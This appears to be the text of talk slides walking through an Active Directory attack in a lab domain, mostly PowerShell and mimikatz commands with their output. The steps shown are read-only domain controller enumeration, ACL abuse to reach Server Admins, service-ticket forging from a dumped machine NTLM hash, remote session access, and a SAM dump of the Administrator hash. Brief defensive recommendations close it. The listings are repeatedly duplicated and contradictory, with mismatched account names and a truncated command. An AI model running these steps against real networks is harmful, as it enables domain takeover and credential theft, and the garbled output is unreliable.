Enumerating RODC mds-RvealUsers

• B:96:A000090002000000673C531003000000B2D8290BE48E5C40A6ACCB
  A445CBC36B7D3B0000000000000007D3B000000000000:CN=Han Solo,OU=Accounts,DC=lab12,DC=adsecurity,DC=org

• B:96:7D00090001000000673C531003000000B2D8290BE48E5C40A6ACCB
  A445CBC36B7E3B0000000000000007E3B000000000000:CN=Han Solo,OU=Accounts,DC=lab12,DC=adsecurity,DC=org

• B:96:5E00090002000000673C531003000000B2D8290BE48E5C40A6ACCB
  A445CBC36B7D3B0000000000000007D3B000000000000:CN=Han Solo,OU=Accounts,DC=lab12,DC=adsecurity,DC=org

• B:96:5A00090002000000673C531003000000B2D8290BE48E5C40A6ACCB
  A445CBC36B7D3B0000000000000007D3B000000000000:CN=Han Solo,OU=Accounts,DC=lab12,DC=adsecurity,DC=org

• B:96:3700090002000000673C531003000000B2D8290BE48E5C40A6ACCB
  A445CBC36B7D3B0000000000000007D3B000000000000:CN=Han Solo,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
RODC msds-RevealUsers

PS C:\> $RODCData.'msDS-RevealedUsers' | % {($_ -split(':'))[3]} | sort | sort -Unique
CN=Admiral Ackbar,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=ADSEC12ADMIN1,CN=Computers,DC=lab12,DC=adsecurity,DC=org
CN=ADSEC12RODC1,OU=Domain Controllers,DC=lab12,DC=adsecurity,DC=org
CN=Amidala,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=Han Solo,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=krbtgt_45703,OU=Users,DC=lab12,DC=adsecurity,DC=org
CN=Poe Dameron,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=AccountProvisioning,OU=AD Management,DC=lab12,DC=adsecurity,DC=org
RODC msds-RevealUsers

PS C:\> $RODCData.'msDS-RevealedUsers' | % {($_ -split(':'))[3]} | sort | sort -Unique
CN=Admiral Ackbar,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=ADSEC12ADMIN1,CN=Computers,DC=lab12,DC=adsecurity,DC=org
CN=ADSEC12RODC1,OU=Domain Controllers,DC=lab12,DC=adsecurity,DC=org
CN=Amidala,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=Han Solo,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=krbtgt_45703,CN=Users,DC=lab12,DC=adsecurity,DC=org
CN=Poe Dameron,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=Account Provisioning,OU=AD Management,DC=lab12,DC=adsecurity,DC=org
### Cached Service Account Password

```powershell
PS C:\> get-aduser 'CN=AccountProvisioning,OU=AD Management,DC=lab12,DC=adsecurity,DC=org' -prop MemberOf

<table>
<thead>
<tr>
<th>DistinguishedName</th>
<th>CN=AccountProvisioning,OU=AD Management,DC=lab12,DC=adsecurity,DC=org</th>
</tr>
</thead>
<tbody>
<tr>
<td>Enabled</td>
<td>True</td>
</tr>
<tr>
<td>GivenName</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>{}</td>
</tr>
<tr>
<td>Name</td>
<td>AccountProvisioning</td>
</tr>
<tr>
<td>ObjectClass</td>
<td>user</td>
</tr>
<tr>
<td>ObjectGUID</td>
<td>30a4e4c1-8938-4824-b250-dac006baa8ca</td>
</tr>
<tr>
<td>SamAccountName</td>
<td>svc-ActPrv</td>
</tr>
<tr>
<td>SID</td>
<td>S-1-5-21-1375489665-2563227798-2764545935-5602</td>
</tr>
<tr>
<td>Surname</td>
<td>AccountProvisioning</td>
</tr>
<tr>
<td>UserPrincipalName</td>
<td><a href="mailto:svc-ActPrv@lab12.adsecurity.org">svc-ActPrv@lab12.adsecurity.org</a></td>
</tr>
</tbody>
</table>
```
<table>
<thead>
<tr>
<th>ObjectDN</th>
<th>OU=Groups, DC=lab12, DC=adsecurity, DC=org</th>
</tr>
</thead>
<tbody>
<tr>
<td>ObjectSID</td>
<td></td>
</tr>
<tr>
<td>IdentitySID</td>
<td>s-1-5-21-1375489665-2563227798-2764545935-5602</td>
</tr>
<tr>
<td>ActiveDirectoryRights</td>
<td>GenericAll</td>
</tr>
<tr>
<td>InheritanceType</td>
<td>None</td>
</tr>
<tr>
<td>ObjectType</td>
<td>000000000-0000-0000-0000-0000000000000000000000</td>
</tr>
<tr>
<td>InheritedObjectType</td>
<td>000000000-0000-0000-0000-0000000000000000000000</td>
</tr>
<tr>
<td>ObjectFlags</td>
<td>None</td>
</tr>
<tr>
<td>AccessControlType</td>
<td>Allow</td>
</tr>
<tr>
<td>IdentityReference</td>
<td>ADSECLAB12\svc-ActPwd</td>
</tr>
<tr>
<td>IsInherited</td>
<td>False</td>
</tr>
<tr>
<td>InheritanceFlags</td>
<td>None</td>
</tr>
<tr>
<td>PropagationFlags</td>
<td>None</td>
</tr>
</tbody>
</table>

```
PS C:\> Invoke-ACLScanner | where {$_.[IdentityReference] -match 'svc-ActPwd'}
```
<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>ObjectDN</td>
<td>OU=Groups, DC=lab12, DC=adsecurity, DC=org</td>
</tr>
<tr>
<td>ActiveDirectoryRights</td>
<td>GenericAll</td>
</tr>
<tr>
<td>IdentityReference</td>
<td>ADSECLAB12\svc-ActPrv</td>
</tr>
<tr>
<td>IsInherited</td>
<td>False</td>
</tr>
<tr>
<td>InheritanceFlags</td>
<td>None</td>
</tr>
<tr>
<td>PropagationFlags</td>
<td>None</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>ObjectDN</td>
<td>OU=Accounts, DC=lab12, DC=adsecurity, DC=org</td>
</tr>
<tr>
<td>ActiveDirectoryRights</td>
<td>GenericAll</td>
</tr>
<tr>
<td>IdentityReference</td>
<td>ADSECLAB12\svc-ActPrv</td>
</tr>
<tr>
<td>IsInherited</td>
<td>False</td>
</tr>
<tr>
<td>InheritanceFlags</td>
<td>None</td>
</tr>
<tr>
<td>PropagationFlags</td>
<td>None</td>
</tr>
</tbody>
</table>
```
PS C:\> get-adgroup -filter * -SearchBase 'OU=Groups,DC=lab12,DC=adsecurity,DC=org'

<table>
<thead>
<tr>
<th>DistinguishedName</th>
<th>CN=RODC Admins,OU=Groups,DC=lab12,DC=adsecurity,DC=org</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupCategory</td>
<td>Security</td>
</tr>
<tr>
<td>GroupScope</td>
<td>Global</td>
</tr>
<tr>
<td>Name</td>
<td>RODC Admins</td>
</tr>
<tr>
<td>ObjectClass</td>
<td>group</td>
</tr>
<tr>
<td>ObjectGUID</td>
<td>8cad4a8e-ff99-4eb9-8bc4-541dfcd95230</td>
</tr>
<tr>
<td>SamAccountName</td>
<td>RODC Admins</td>
</tr>
<tr>
<td>SID</td>
<td>S-1-5-21-1375489665-2563227798-2764545935-1104</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>DistinguishedName</th>
<th>CN=Server Admins,OU=Groups,DC=lab12,DC=adsecurity,DC=org</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupCategory</td>
<td>Security</td>
</tr>
<tr>
<td>GroupScope</td>
<td>Global</td>
</tr>
<tr>
<td>Name</td>
<td>Server Admins</td>
</tr>
<tr>
<td>ObjectClass</td>
<td>group</td>
</tr>
<tr>
<td>ObjectGUID</td>
<td>158cc2ea-f33c-4d00-8bf6-b06dc0fe12a9</td>
</tr>
<tr>
<td>SamAccountName</td>
<td>Server Admins</td>
</tr>
<tr>
<td>SID</td>
<td>S-1-5-21-1375489665-2563227798-2764545935-3105</td>
</tr>
</tbody>
</table>
```
<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>DistinguishedName</td>
<td>CN=RODC Admins,OU=Groups,DC=lab12,DC=adsecurity,DC=org</td>
</tr>
<tr>
<td>GroupCategory</td>
<td>Security</td>
</tr>
<tr>
<td>GroupScope</td>
<td>Global</td>
</tr>
<tr>
<td>Name</td>
<td>RODC Admins</td>
</tr>
<tr>
<td>ObjectClass</td>
<td>group</td>
</tr>
<tr>
<td>ObjectGUID</td>
<td>8cad4a8e-ff99-4eb9-8bc4-541dfcd95230</td>
</tr>
<tr>
<td>SamAccountName</td>
<td>RODC Admins</td>
</tr>
<tr>
<td>SID</td>
<td>S-1-5-21-1375489665-2563227798-2764545935-1104</td>
</tr>
<tr>
<td>DistinguishedName</td>
<td>CN=Server Admins,OU=Groups,DC=lab12,DC=adsecurity,DC=org</td>
</tr>
<tr>
<td>GroupCategory</td>
<td>Security</td>
</tr>
<tr>
<td>GroupScope</td>
<td>Global</td>
</tr>
<tr>
<td>Name</td>
<td>Server Admins</td>
</tr>
<tr>
<td>ObjectClass</td>
<td>group</td>
</tr>
<tr>
<td>ObjectGUID</td>
<td>158cc2ea-f33c-4d00-8bf6-b06dc0fe12a9</td>
</tr>
<tr>
<td>SamAccountName</td>
<td>Server Admins</td>
</tr>
<tr>
<td>SID</td>
<td>S-1-5-21-1375489665-2563227798-2764545935-3105</td>
</tr>
</tbody>
</table>
Get-NetGPOGroup

GPODisplayName : Add Server Admins to Local Administrators
GPOName : \{7988B785-3401-4977-BD07-01D3CA9B7C0C\}
GPOPath : \lab12.adsecurity.org\SysVol\lab12.adsecurity.org\Policies\{7988B785-3401-4977-BD07-01D3CA9B7C0C\}
GPOType : RestrictedGroups
Filters : 
GroupName : BUILTIN\Administrators
GroupSID : S-1-5-32-544
GroupMemberOf : 
GroupMembers : \{S-1-5-21-1375489665-2563227798-2764545935-3105\}

get-adgroup 'S-1-5-21-1375489665-2563227798-2764545935-3105'

DistinguishedName : CN=Server Admins,OU=Groups,DC=lab12,DC=adsecurity,DC=org
GroupCategory : Security
GroupScope : Global
Name : Server Admins
ObjectClass : group
ObjectGUID : 158cc2ea-f33c-4d00-8bf6-b06dc0fe12a9
SamAccountName : Server Admins
SID : S-1-5-21-1375489665-2563227798-2764545935-3105
Add Server Admins to Local Administrators

```
PS C:\> Get-NetGPOGroup
GPODisplayName : Add Server Admins to Local Administrators
GPOName        : \{788B785-3401-4977-BD07-01D3CA9B7C0C\}
GPOPath        : \lab12.adsecurity.org\SysVol\lab12.adsecurity.org\Policies\{788B785-3401-4977-BD07-01D3CA9B7C0C\}
GPOType        : RestrictedGroups
Filters        : 
GroupName      : BUILTIN\Administrators
GroupSID       : S-1-5-32-544
GroupMemberOf  : {}
GroupMembers   : {S-1-5-21-1375489665-2563227798-2764545935-3105}

PS C:\> get-adgroup 'S-1-5-21-1375489665-2563227798-2764545935-3105'
DistinguishedName : CN=Server Admins,OU=Groups,DC=lab12,DC=adsecurity,DC=org
GroupCategory    : Security
GroupScope       : Global
Name             : Server Admins
ObjectClass      : group
ObjectGUID       : 158cc2ea-f33c-4d00-8bf6-b06dc0fe12a9
SamAccountName   : Server Admins
SID              : S-1-5-21-1375489665-2563227798-2764545935-3105
```
We gained “Server Admin” through a user account

What else can we get?
RODC msds-RevealUsers

```
PS C:\> $RODCData.'msDS-RevealedUsers' | % {($_ -split(':'))[3]} | sort | sort -Unique
CN=Admiral Ackbar,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=ADSEC12ADMIN1,CN=Computers,DC=lab12,DC=adsecurity,DC=org
CN=ADSEC12RODC1,OU=Domain Controllers,DC=lab12,DC=adsecurity,DC=org
CN=Amidala,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=Han Solo,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=krbtgt_45703,OU=Users,DC=lab12,DC=adsecurity,DC=org
CN=Poe Dameron,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=AccountProvisioning,OU=AD Management,DC=lab12,DC=adsecurity,DC=org
```
RODC msds-RevealUsers

PS C:\> $RODCData.'msDS-RevealedUsers' | % {($_ -split(':'))[3]} | sort | sort -Unique
CN=Admiral Ackbar,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=ADSEC12ADMIN1,CN=Computers,DC=lab12,DC=adsecurity,DC=org
CN=ADSEC12RODC1,OU=Domain Controllers,DC=lab12,DC=adsecurity,DC=org
CN=Admiral Ackbar,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=Admiral Ackbar,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=LDB3,OU=Users,DC=lab12,DC=adsecurity,DC=org
CN=Admiral Ackbar,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
CN=Admiral Ackbar,OU=AD Management,DC=lab12,DC=adsecurity,DC=org
From RODC to Silver Ticket

RID : 00000593 (1427)
User : ADSEC12ADMIN1$

* Primary
  LM : 
  NTLM : 726bbab1691e9f15d5b75b650496ba2c

* WDigest
  01 a61cf4e8b03da554e1dc2b41e8c5109f
  02 3cbfa10932002a37b94dc2e1cb86cee6
  03 a61cf4e8b03da554e1dc2b41e8c5109f
  04 a61cf4e8b03da554e1dc2b41e8c5109f
  05 4d2878559935b8140b5984404f21d6c4
  06 4d2878559935b8140b5984404f21d6c4
  07 9f67a40eb2d8390f394921a8af846cb
  08 a320691bfe55c25f8be80eda982a44ee
  09 b6bb248302db438536537cd89d574bb1
  10 4eaf02bd94208261b07d46c672a344a9
  11 4eaf02bd94208261b07d46c672a344a9
  12 a320691bfe55c25f8be80eda982a44ee
  13 a320691bfe55c25f8be80eda982a44ee
  14 5e76ae8869fd6023d8beadcbf168e1e6
  15 bf5ceeb044e7cd60c9a31c72df3cb8e26

User : LukeSkywalker
Domain : lab12.adsecurity.org (LAB12)
SID : S-1-5-21-1375489665-2563227798-2764545935
User Id : 1428
Groups Id : *513 512 520 518 519
ServiceKey: 726bbab1691e9f15d5b75b650496ba2c - rc4_hmac_nt
Service : http
Target : adsec12admin1.lab12.adsecurity.org
Lifetime : 12/30/2017 5:02:13 AM ; 12/28/2027 5:02:13 AM ; 12/28/2027 5:02:13 AM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'LukeSkywalker @ lab12.adsecurity.org' successfully submitted for current session.

mimikatz(commandline) # kerberos::golden /admin:LukeSkywalker /id:1428 /domain:lab12.adsecurity.org
9f15d5b75b650496ba2c /service:host /sid:S-1-5-21-1375489665-2563227798-2764545935 /ptt
User : LukeSkywalker
Domain : lab12.adsecurity.org (LAB12)
SID : S-1-5-21-1375489665-2563227798-2764545935
User Id : 1428
Groups Id : *513 512 520 518 519
ServiceKey : 726bbab1691e9f15d5b75b650496ba2c - rc4_hmac_nt
Service : host
Target : adsec12admin1.lab12.adsecurity.org
Lifetime : 12/30/2017 5:01:26 AM ; 12/28/2027 5:01:26 AM ; 12/28/2027 5:01:26 AM
Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbThtcred generated

Golden ticket for 'LukeSkywalker @ lab12.adsecurity.org' successfully submitted for current session

mimikatz(commandline) # exit
Current LogonId is 0x01fb3a5

Cached Tickets: (4)

#0> Client: LukeSkywalker @ lab12.adsecurity.org
   Server: rpcss/adsec12admin1.lab12.adsecurity.org @ lab12.adsecurity.org
   KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
   Ticket Flags 0x40a00000 -> forwardable renewable pre_authentic
   Start Time: 12/30/2017 5:18:05 (local)
   End Time: 12/28/2027 5:18:05 (local)
   Renew Time: 12/28/2027 5:18:05 (local)
   Session Key Type: RSADSI RC4-HMAC(NT)
   Cache Flags: 0
   Kdc Called:

#1> Client: LukeSkywalker @ lab12.adsecurity.org
   Server: wsman/adsec12admin1.lab12.adsecurity.org @ lab12.adsecurity.org
   KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
   Ticket Flags 0x40a00000 -> forwardable renewable pre_authentic
   Start Time: 12/30/2017 5:06:35 (local)
   End Time: 12/28/2027 5:06:35 (local)
   Renew Time: 12/28/2027 5:06:35 (local)
   Session Key Type: RSADSI RC4-HMAC(NT)
   Cache Flags: 0
   Kdc Called:

#2> Client: LukeSkywalker @ lab12.adsecurity.org
   Server: http/adsec12admin1.lab12.adsecurity.org @ lab12.adsecurity.org
   KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
   Ticket Flags 0x40a00000 -> forwardable renewable pre_authentic
   Start Time: 12/30/2017 5:02:13 (local)
   End Time: 12/28/2027 5:02:13 (local)
   Renew Time: 12/28/2027 5:02:13 (local)
   Session Key Type: RSADSI RC4-HMAC(NT)
   Cache Flags: 0
   Kdc Called:
PS C:\> New-PSSession -name admin1 -ComputerName ADSEC12ADMIN1.lab12.adsecurity.org ; Enter-

<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
<th>ComputerName</th>
<th>State</th>
<th>ConfigurationName</th>
<th>Availability</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>admin1</td>
<td>ADSEC12ADMIN1...</td>
<td>Opened</td>
<td>Microsoft.PowerShell</td>
<td>Available</td>
</tr>
</tbody>
</table>

[ADSEC12ADMIN1.lab12.adsecurity.org]: PS C:\Users\LukeSkywalker\Documents> whoami
lab12\lukeskywalker
Since the Admin Server Computer Password Was on the RODC, We Now Own that Server

What else can we get?
From RODC to DC using DSRM

Command output:

```
mimikatz(commandline) # token::elevate
Token Id : 0
User name : 
SID name : NT AUTHORITY\SYSTEM

396 14960 NT AUTHORITY\SYSTEM 5-1-5-18 (04g,20p) Primary
-> Impersonated!
* Process Token : 6752951 ADSECLAB\LukeSkywalker 5-1-5-21-1581655573-3923512380-696647894-2629 (15g,25p)
Primary
* Thread Token : 6753692 NT AUTHORITY\SYSTEM 5-1-5-18 (04g,20p) Impersonation (Delegation)
mimikatz(commandline) # lsadump::sam
Domain : ADSDC03
SysKey : 185e91797d952d1f4063395d1c844350
Local SID : S-1-5-21-1065499013-2304935823-602718026
SAMKey : 1f86ec3e2b82a9ff24190cc5261a0a9b7
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 7c08d63a2f48f045971bc2236ed3f3ac
```
Recommendations

- Ensure you are discovering all AD admins by recursively enumerating the domain Administrators group.
- Corelate the user to admin account and the workstation the admin uses.
- Determine if MFA is used, if so try to identify onboarding process & look for dependencies.
- Check for enterprise password vaults.
- RODCs are rarely deployed in a secure manner.